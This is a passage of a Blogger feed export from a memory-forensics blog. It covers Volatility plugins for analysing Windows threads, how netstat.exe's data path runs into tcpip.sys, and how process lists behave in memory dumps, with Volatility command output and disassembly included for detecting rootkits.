/&gt;Attached Process: 0x84b17998 debugtest.exe&lt;br /&gt;State: Waiting:DelayExecution&lt;br /&gt;BasePriority: THREAD_PRIORITY_NORMAL&lt;br /&gt;TEB: 0x7ffde000&lt;br /&gt;StartAddress: 0x778764d8&lt;br /&gt;ServiceTable: 0x829a99c0&lt;br /&gt;[0] 0x828b06f0&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags: PS_CROSS_THREAD_FLAGS_HIDEFROMDBG&lt;br /&gt;Eip: 0x778764f4&lt;br /&gt;eax=0x00000000 ebx=0x7ffdf000 ecx=0x00000000&lt;br /&gt;edx=0x778764f4 esi=0x0038fed4 edi=0x00000000&lt;br /&gt;eip=0x778764f4 esp=0x0038fe90 ebp=0x0038fef8 err=0x00000000&lt;br /&gt;cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246&lt;br /&gt;dr0=0x00000000 dr1=0x00000000 dr2=0x00000000&lt;br /&gt;dr3=0x00000000 dr6=0x00000000 dr7=0x00000000&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;The HwBreakpoints Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This tag is associated with threads that have hardware breakpoints set. Hardware breakpoints are usually configured by attaching to a process with a debugger, as shown in the following screen shot.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-tA0raaezL6E/Tazs7N0rBlI/AAAAAAAACJM/HU8N7Woys00/s1600/HwBreakpoints.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 223px;" src="http://2.bp.blogspot.com/-tA0raaezL6E/Tazs7N0rBlI/AAAAAAAACJM/HU8N7Woys00/s320/HwBreakpoints.png" alt="" id="BLOGGER_PHOTO_ID_5597108938981705298" border="0" /&gt;&lt;/a&gt;Information about these breakpoints is stored in each thread's &lt;a href="http://www.sandpile.org/ia32/drx.htm"&gt;debug registers&lt;/a&gt;  (Dr0 - Dr7) all of which are accessible by referencing  _ETHREAD.Tcb.TrapFrame.  User mode programs can't directly access these  fields, but they can use the Win32 API function &lt;a href="http://msdn.microsoft.com/en-us/library/ms679362%28v=vs.85%29.aspx"&gt;GetThreadContext&lt;/a&gt;. Once in kernel mode, this API copies values from the TrapFrame into a &lt;a href="http://msdn.microsoft.com/en-us/library/ms679284%28v=vs.85%29.aspx"&gt;CONTEXT&lt;/a&gt; structure that the user mode programs &lt;span style="font-style: italic;"&gt;can&lt;/span&gt; access. So now you know how to find EIP, EAX, ESP, EFLAGS, SS, DS, and all that good stuff...in case there is ever a reason to check those registers in your Volatility plugins ;-)&lt;br /&gt;&lt;br /&gt;As with some of the other topics we've discussed thus far, threads with hardware breakpoints set are not immediately suspicious. However, it's also not something you ordinarily see and its not  unheard of to use hardware breakpoints as a stealthy alternative to &lt;a href="http://research.microsoft.com/en-us/projects/detours/"&gt;Trampoline&lt;/a&gt; style API hooks. Instead of overwriting instructions in a function's prologue, a rootkit could set an On-Execute hardware breakpoint on the address of an API, and then set up an exception handler that gets called when the breakpoint triggers. Here's an example of using the filter:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f Windows7.vmem --profile=Win7SP0x86 threads -F HwBreakpoints&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0x8538d030 Pid: 2360 Tid: 1004&lt;br /&gt;Tags: HwBreakpoints&lt;br /&gt;Created: -&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x84a488e0 calc.exe&lt;br /&gt;Attached Process: 0x84a488e0 calc.exe&lt;br /&gt;State: Waiting:UserRequest&lt;br /&gt;BasePriority: THREAD_PRIORITY_NORMAL&lt;br /&gt;TEB: 0x7ffdd000&lt;br /&gt;StartAddress: 0x778764d8&lt;br /&gt;ServiceTable: 0x829a99c0&lt;br /&gt;[0] 0x828b06f0&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags: PS_CROSS_THREAD_FLAGS_DEADTHREAD&lt;br /&gt;Eip: 0x778764f4&lt;br /&gt;eax=0x00d9235b ebx=0x00000000 ecx=0x00000000&lt;br /&gt;edx=0x00000000 esi=0x000000f4 edi=0x00000000&lt;br /&gt;eip=0x778764f4 esp=0x02ebf7a0 ebp=0x02ebf80c err=0x00000000&lt;br /&gt;cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246&lt;br /&gt;dr0=0x00d99768 dr1=0x00d9977e dr2=0x00000000&lt;br /&gt;dr3=0x00000000 dr6=0xffff0ff0 dr7=0x00700505&lt;/span&gt;&lt;/pre&gt;Notice the dr0 value is 0x00d99768 and dr1 is 0x00d9977e - both of the addresses shown in the OllyDbg screenshot.&lt;br /&gt;&lt;br /&gt;The breakpoints described in this section are thread-specific, since each thread has its own set of registers. However, there is another set of processor-specific (thus affecting all threads running on the processor...or &lt;a href="http://msdn.microsoft.com/en-us/library/ff553267%28v=vs.85%29.aspx"&gt;affinity&lt;/a&gt;) registers where kernel breakpoints can be set. This is how the malware in &lt;a href="http://blogs.mcafee.com/mcafee-labs/memory-forging-attempt-by-a-rootkit"&gt;Rachit Mathur's Memory forging attempt by a rootkit&lt;/a&gt; blog worked, and I will discuss how to detect that in a separate post later on.&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The AttachedProcess Tag&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This tag is associated with threads that are "attached" to another process's address space. Through the use of APIs such as &lt;a href="http://msdn.microsoft.com/en-us/library/ff549659%28v=vs.85%29.aspx"&gt;KeAttachProcess and KeStackAttachProcess&lt;/a&gt;, kernel drivers can easily read/write data in any process's virtual memory. Although there are legitimate reasons why a thread may be executing in the context of a process other than the process that owns the thread, there are also malicious reasons. For example, the following screen shot shows a rootkit  using KeAttachProcess so it can write a DLL into services.exe from kernel mode. Then it &lt;a href="http://www.osronline.com/article.cfm?id=75"&gt;queues an APC&lt;/a&gt; to start executing at the DLL's entry point.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-YUP-4YefmTI/Ta0CQg18uAI/AAAAAAAACJU/FlBWETWLzGc/s1600/KeAttachProcess.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 297px;" src="http://2.bp.blogspot.com/-YUP-4YefmTI/Ta0CQg18uAI/AAAAAAAACJU/FlBWETWLzGc/s320/KeAttachProcess.png" alt="" id="BLOGGER_PHOTO_ID_5597132394608769026" border="0" /&gt;&lt;/a&gt;Before moving on, note that the rootkit calls KeDetachProcess when its finished writing to the memory of services.exe. For detection, you must acquire memory &lt;span style="font-style: italic;"&gt;after&lt;/span&gt; a thread calls KeAttachProcess, but &lt;span style="font-style: italic;"&gt;before&lt;/span&gt; it calls KeDetachProcess. Since all this can go down pretty quickly, there's a slim chance of catching this particular thread "in the act." Another well known malware family, &lt;a href="http://resources.infosecinstitute.com/tdss4-part-2/"&gt;TDL4&lt;/a&gt; uses a very similar technique (see section 2.3 Injecting payload into processes). However, not all rootkits work the same way. Other malware may attach to a process, scan that process's memory for credit card numbers every 30 seconds, and only detach when the process terminates or the system shuts down. In that case, you'll catch it every time!&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f XPSP3.vmem threads -F AttachedProcess&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0x81eda7a0 Pid: 4 Tid: 484&lt;br /&gt;Tags: SystemThread,AttachedProcess,&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;HookedSSDT&lt;br /&gt;Created: 2011-04-18 16:03:38&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x823c8830 System&lt;br /&gt;Attached Process: 0x81e3c458 services.exe&lt;br /&gt;State: Running&lt;br /&gt;BasePriority: THREAD_PRIORITY_NORMAL&lt;br /&gt;TEB: 0x00000000&lt;br /&gt;StartAddress: 0xb1805f1a windev-5e93-fd3.sys&lt;br /&gt;ServiceTable: 0x80553020&lt;br /&gt;[0] 0x80501bbc&lt;br /&gt;[0x47] NtEnumerateKey 0xb1805944 windev-5e93-fd3.sys&lt;br /&gt;[0x49] NtEnumerateValueKey 0xb1805aca windev-5e93-fd3.sys&lt;br /&gt;[0x91] NtQueryDirectoryFile 0xb18055ee windev-5e93-fd3.sys&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM&lt;br /&gt;b1805f1a: 8bff                         MOV EDI, EDI&lt;br /&gt;b1805f1c: 55                           PUSH EBP&lt;br /&gt;b1805f1d: 8bec                         MOV EBP, ESP&lt;br /&gt;b1805f1f: 51                           PUSH ECX&lt;br /&gt;b1805f20: 51                           PUSH ECX&lt;/span&gt;&lt;/pre&gt;Notice there are actually 3 tags for this thread. It's a system thread, its currently attached to services.exe although the "System" process owns it, and the SSDT has hooked functions. The thread's start address points to a driver named windev-5e93-fd3.sys which is also the module which owns the SSDT hooks, meaning the rootkit's own threads are using the modified SSDT.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Adding new heuristics &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Adding new heuristics to the threads plugin is easy. All you do is enter your criteria in the &lt;span style="font-family:courier new;"&gt;checks&lt;/span&gt; dictionary, with your desired tag as the dictionary key and some function or equation (that evaluates to True/False) as the dictionary's value. Here are a few examples:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-family:courier new;font-size:85%;"  &gt;checks['&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-family:courier new;font-size:85%;"  &gt;MyNewTag'] = thread.ThisField == 0xdeadbeef&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;checks['MyOtherTag'] = do_something(thread)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once you've done that, just filter for your new tag:&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;$ python vol.py -f memory.dmp threads -F MyNewTag&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Using Volshell on ETHREAD and KTHREAD&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;If you need to explore thread-related data structures a little closer, don't forget about &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#volshell"&gt;volshell&lt;/a&gt;. This let's you investigate values that aren't printed by existing plugins - without having to write your own plugin. Just break into a shell and use dt() as shown below.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ python vol.py -f ds_fuzz_hidden_proc.img volshell&lt;br /&gt;Volatile Systems Volatility Framework 1.4_rc1&lt;br /&gt;Current context: process System, pid=4, ppid=0 DTB=0x319000&lt;br /&gt;Welcome to volshell!&lt;br /&gt;To get help, type 'hh()'&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; dt("_ETHREAD", 0x8180b798)&lt;br /&gt;[CType _ETHREAD] @ 0x8180B798&lt;br /&gt;0x0   : Tcb                            2172696472&lt;br /&gt;0x1c0 : CreateTime                     2008-11-26 07:38:25&lt;br /&gt;0x1c8 : ExitTime                       2008-11-26 07:40:25&lt;br /&gt;0x1c8 : KeyedWaitChain                 2172696928&lt;br /&gt;0x1c8 : LpcReplyChain                  2172696928&lt;br /&gt;0x1d0 : ExitStatus                     1&lt;br /&gt;0x1d0 : OfsChain                       1&lt;br /&gt;......&lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; dt("_KTHREAD", 0x8180b798)&lt;br /&gt;[CType _KTHREAD] @ 0x8180B798&lt;br /&gt;0x0   : Header                         2172696472&lt;br /&gt;0x10  : MutantListHead                 2172696488&lt;br /&gt;0x18  : InitialStack                   0&lt;br /&gt;0x1c  : StackLimit                     4162211840&lt;br /&gt;0x20  : Teb                            0&lt;br /&gt;0x24  : TlsArray                       0&lt;br /&gt;0x28  : KernelStack                    4162223128&lt;br /&gt;0x2c  : DebugActive                    0&lt;br /&gt;0x2d  : State                          4&lt;br /&gt;.......&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Conclusion&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;At the end of the day, we have a new plugin that combines the functionality of two older plugins, plus introduces several new heuristics that can help analyze threads in physical memory dumps. Not all heuristics indicate something malicious, and not all heuristics are fully safe from carefully planned DKOM attacks. Furthermore, this plugin's output requires a greater understanding of Windows internals than other plugins do (for example, it's not as self-explanatory as "connections" which prints IPs and ports). However, used in the correct manner, this plugin can be extremely useful for your malware related investigations.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-6353661459910179478?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/6353661459910179478/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=6353661459910179478' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6353661459910179478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6353661459910179478'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/04/investigating-windows-threads-with.html' title='Investigating Windows Threads with Volatility'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-JgK5Y5mIvuY/Ta2qlNlsC_I/AAAAAAAACJk/fRl3hGqUtn0/s72-c/threads.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-8502826253925619686</id><published>2011-03-30T09:45:00.002-06:00</published><updated>2011-03-30T09:45:59.426-06:00</updated><title type='text'>Malware Cookbook DVD Tools Online</title><content type='html'>The Malware Cookbook DVD is online for download. Please see book's website for more information: &lt;a href="http://www.malwarecookbook.com/?p=119"&gt;http://www.malwarecookbook.com/?p=119&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-8502826253925619686?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/8502826253925619686/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=8502826253925619686' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/8502826253925619686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/8502826253925619686'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/03/malware-cookbook-dvd-tools-online.html' title='Malware Cookbook DVD Tools Online'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-6969452309737285591</id><published>2011-03-24T20:10:00.027-06:00</published><updated>2011-04-20T21:40:25.765-06:00</updated><title type='text'>Volatility's New Netscan Module</title><content type='html'>As described in Recipe 18-1 "Exploring Socket and Connection Objects" of &lt;a href="http://www.amazon.com/dp/0470613033?tag=malwacookb-20&amp;amp;camp=14573&amp;amp;creative=327641&amp;amp;linkCode=as1&amp;amp;creativeASIN=0470613033&amp;amp;adid=12F8AJTGMCGE1NZB23ZY&amp;amp;"&gt;Malware Analyst's Cookbook&lt;/a&gt;, enumerating network information in Windows XP memory dumps is fairly straightforward. There is a symbol in tcpip.sys named _TCBTable which points to a list of connection structures and a symbol named _AddrObjTable which points to a list of socket structures. However, starting with Vista, the tcpip.sys module no longer contains either symbol. Microsoft also changed the size and layout of the connection and socket structures, and switched the pool tags for the memory allocations that store the structures. Its almost like they were intentionally trying to make our lives difficult. Then again, it probably has more to do with the &lt;a href="http://technet.microsoft.com/en-us/network/bb545475.aspx"&gt;Next Generation TCP/IP Stack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In January of this year, I contributed a new &lt;a href="http://code.google.com/p/volatility/"&gt;Volatility&lt;/a&gt; plugin named &lt;a href="http://code.google.com/p/volatility/source/browse/branches/Volatility-1.4_rc1/volatility/plugins/netscan.py"&gt;netscan&lt;/a&gt; which can list IPv4 and IPv6 connections and sockets, both TCP and UDP, for 32-bit Windows Vista, 2008, and 7 memory dumps. This post describes how I found the information, and how you might do the same if Microsoft decides to completely redesign the TCP/IP stack for future operating systems.&lt;br /&gt;&lt;br /&gt;Regardless of what changes, one thing you can probably take for granted is that netstat.exe will always work. Thus, determining where netstat.exe gets its information is a good start. The following screen shot shows that the Windows 7 netstat.exe calls some functions exported by the iphlpapi.dll module. In particular, for TCPv4 data it calls InternalGetTcpTable2 or InternalGetTcpTableWithOwnerModule. It calls similar functions for TCPv6 data and for UDPv4 and UDPv6.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-qUjiXpFI1rc/TYwKc1A9fPI/AAAAAAAACFg/UpDmi3rkPVs/s1600/Netstat.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 195px;" src="http://3.bp.blogspot.com/-qUjiXpFI1rc/TYwKc1A9fPI/AAAAAAAACFg/UpDmi3rkPVs/s320/Netstat.png" alt="" id="BLOGGER_PHOTO_ID_5587852728043666674" border="0" /&gt;&lt;/a&gt;Although InternalGetTcpTable2 is undocumented, it is essentially just a wrapper around the documented &lt;a href="http://msdn.microsoft.com/en-us/library/bb408406%28v=vs.85%29.aspx"&gt;GetTcpTable2&lt;/a&gt; API which fills in a &lt;a href="http://msdn.microsoft.com/en-us/library/bb485772%28v=vs.85%29.aspx"&gt;MIB_TCPTABLE2&lt;/a&gt; structure. Each table entry, known as a &lt;a href="http://msdn.microsoft.com/en-us/library/bb485761%28v=vs.85%29.aspx"&gt;MIB_TCPROW2 &lt;/a&gt;contains the following information:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;typedef struct _MIB_TCPROW2 {&lt;br /&gt;DWORD                        dwState;&lt;br /&gt;DWORD                        dwLocalAddr;&lt;br /&gt;DWORD                        dwLocalPort;&lt;br /&gt;DWORD                        dwRemoteAddr;&lt;br /&gt;DWORD                        dwRemotePort;&lt;br /&gt;DWORD                        dwOwningPid;&lt;br /&gt;TCP_CONNECTION_OFFLOAD_STATE dwOffloadState;&lt;br /&gt;} MIB_TCPROW2, *PMIB_TCPROW2;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;So how does GetTcpTable2 get the information to fill these rows/tables? To find out, follow the trail and you'll see that it calls NsiAllocateAndGetTable - a function exported by nsi.dll. The function fills three arrays of structures (AddrTable, StateTable, and OwnerTable) with data. The TcpConnCount argument is filled with the number of structures in each array. GetTcpTable2 then loops through the results and initializes the MIB_TCPROW2 structures.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-8oqVILJMUGU/TYwR1PCHvVI/AAAAAAAACFo/l8KuFbD_Y3s/s1600/Iphlpapi.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 285px;" src="http://2.bp.blogspot.com/-8oqVILJMUGU/TYwR1PCHvVI/AAAAAAAACFo/l8KuFbD_Y3s/s320/Iphlpapi.png" alt="" id="BLOGGER_PHOTO_ID_5587860843926109522" border="0" /&gt;&lt;/a&gt; NsiAllocateAndGetTable leads to two other functions, which are both contained within nsi.dll -  NsiEnumerateObjectsAllParameters and NsiEnumerateObjectsAllParametersEx. Here we see a handle to "\\\\.\\Nsi" opened and an IOCTL of 12001Bh sent with NtDeviceIoControlFile. The Input (and Output) buffer for the I/O operation points to memory allocated to store the three arrays of structures described earlier, among other things. I'll call this structure NSI_PARAMS. We must now track this buffer into kernel mode to find out how its filled. The driver which owns "\\\\.\\Nsi" is nsiproxy.sys, so we continue the search there.&lt;br /&gt;&lt;br /&gt;Inside the dispatch routine for nsiproxy.sys, there is a switch statement with the IoControlCode as the case. The disassembly below shows 120023h (maximum IoControlCode) being moved into EBX, which is then decremented by 1 until the result is 0 - a common shortcut that compilers use for switch statements. The memory buffer is moved into EDX and  NsippEnumerateObjectsAllParameters is called.&lt;br /&gt;&lt;pre class="wiki"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EA0   mov     ebx, [ecx+&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EA3   cmp     ebx, 120023h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EA9   push    edi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EAA   mov     edi, [ecx+&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EAD   mov     [ebp+Irql], edx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EB0   mov     edx, [ecx+&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EF1   push    esi      ; int&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EF2   push    [ebp+8]  ; pOutputBuffer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EF5   push    edi      ; InputBufferLength&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EF6   push    edx      ; Type3InputBuffer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00012EF7   call    _NsippEnumerateObjectsAllParameters&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;NsippEnumerateObjectsAllParameters passes control to a similarly named function - NsiEnumerateObjectsAllParametersEx - but not the same one we discussed earlier from nsi.dll. This second one is exported by netio.sys. What more could you expect from a module named nsiproxy.sys? As the name suggests, nsiproxy.sys sits between nsi.dll in user mode and netio.sys in kernel mode.&lt;br /&gt;&lt;br /&gt;Tracking the three arrays of structures (AddrTable, StateTable, and OwnerTable) becomes a little convoluted at this point, because netio.sys calls a function named NsipConvertNaEnumerateObjectsAllParametersRequestToNmRequest, which takes several members of the NSI_PARAMS structure and moves them to different offsets of a new structure which I'll call NM_REQUEST. After doing so, it passes a pointer to the NM_REQUEST structure to TcpEnumerateAllConnections in tcpip.sys. As you can see in the following screen shot, depending on your command line arguments to netstat.exe, TcpEnumerateConnections(AF_INET, ...) will be called for IPv4 connections, TcpEnumerateConnections(AF_INET6, ...) will be called for IPv6 connections, and TcpEnumerateListeners will be called for both IPv4 and IPv6 sockets.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-4U_aQ8oEIdk/TYyfxVlMT_I/AAAAAAAACFw/MKxIiADDB78/s1600/Tcpip.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 252px;" src="http://4.bp.blogspot.com/-4U_aQ8oEIdk/TYyfxVlMT_I/AAAAAAAACFw/MKxIiADDB78/s320/Tcpip.png" alt="" id="BLOGGER_PHOTO_ID_5588016907615490034" border="0" /&gt;&lt;/a&gt;The authoritative source of networking information can't be too far away at this point. In fact, right inside the last functions I mentioned, there are some symbols which tcpip.sys uses to locate lists of connections and sockets. Take the "lists" keyword lightly, as they are not singly-linked lists or doubly-linked lists as they have been in the past. Instead, connections are stored in a hash table (i.e. RtlInitWeakEnumerationHashTable) and sockets are stored in a bitmap port pool. You can read more about the Windows implementation of bitmap (RTL_BITMAP) in OSR's &lt;a href="http://www.osronline.com/article.cfm?article=523"&gt;Kernel Mode Basics: An Introduction to Bitmaps&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;When you parse the hash tables and bitmaps, you'll find the primary connections and socket structures. From there, its just a matter of using WinDbg's !pool command (see &lt;a href="http://analyze-v.com/?p=734"&gt;Scott Noone's Interpreting !pool results&lt;/a&gt;) to learn how to locate the structures in a physical memory dump. I found that TCP connections were in pools tagged with TcpE (the E is for Endpoint), TCP sockets were in pools tagged with TcpL (the L is for Listener), and UDP endpoints and sockets are in pools tagged with UdpA. The &lt;a href="http://code.google.com/p/volatility/wiki/Scanners"&gt;Volatility object scanning framework&lt;/a&gt; makes it very easy to take the output from !pool and create a pool scanner plugin.&lt;br /&gt;&lt;br /&gt;For a summary of the path we've taken from netstat.exe into tcpip.sys, see the following diagram. Also note that rootkits on a live system can place hooks in any of these modules to hide connections or sockets on a live system.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-8BhIQ45zmwc/TYytg7siTMI/AAAAAAAACF4/VK907XpmEGU/s1600/netstat-diag.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 253px; height: 320px;" src="http://4.bp.blogspot.com/-8BhIQ45zmwc/TYytg7siTMI/AAAAAAAACF4/VK907XpmEGU/s320/netstat-diag.png" alt="" id="BLOGGER_PHOTO_ID_5588032018951851202" border="0" /&gt;&lt;/a&gt;Finally, Volatility's &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#netscan"&gt;command reference&lt;/a&gt; shows example output from the netscan plugin. Contrary to popular belief, the long awaited Volatility 1.4 has not yet been released, although the netscan code is already showing up in &lt;a href="http://cci.cocolog-nifty.com/blog/2011/03/memory-forensic.html"&gt;other memory forensics tools&lt;/a&gt; (see Windows7\ConnScan.EnScript). Its definitely interesting to see the influence that Volatility has on the industry.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-6969452309737285591?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/6969452309737285591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=6969452309737285591' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6969452309737285591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6969452309737285591'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/03/volatilitys-new-netscan-module.html' title='Volatility&apos;s New Netscan Module'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-qUjiXpFI1rc/TYwKc1A9fPI/AAAAAAAACFg/UpDmi3rkPVs/s72-c/Netstat.png' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-4751248051981980528</id><published>2011-03-18T11:54:00.009-06:00</published><updated>2011-04-20T21:38:29.639-06:00</updated><title type='text'>The Mis-leading 'Active' in PsActiveProcessHead and ActiveProcessLinks</title><content type='html'>On Windows, &lt;a href="http://www.google.com/search?q=psactiveprocesshead"&gt;the nt!PsActiveProcessHead symbol&lt;/a&gt; points to a doubly-linked list of EPROCESS objects. It is very well documented as being the primary source of "current" or "active" processes. However, while using &lt;a href="http://code.google.com/p/volatility/"&gt;Volatility&lt;/a&gt; to analyze a Windows 7 memory dump,  &lt;a href="http://gleeda.blogspot.com/"&gt;Gleeda&lt;/a&gt; and I discovered that the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#pslist"&gt;pslist command&lt;/a&gt; was showing something odd. In fact, I noticed the odd behavior a while back and never got a chance to look into it. The odd thing was that the pslist included info for some terminated processes. But shouldn't everything in PsActiveProcessHead and ActiveProcessLinks be, well...active?&lt;br /&gt;&lt;br /&gt;For example, take a look at the following output. The MSBuild.exe and 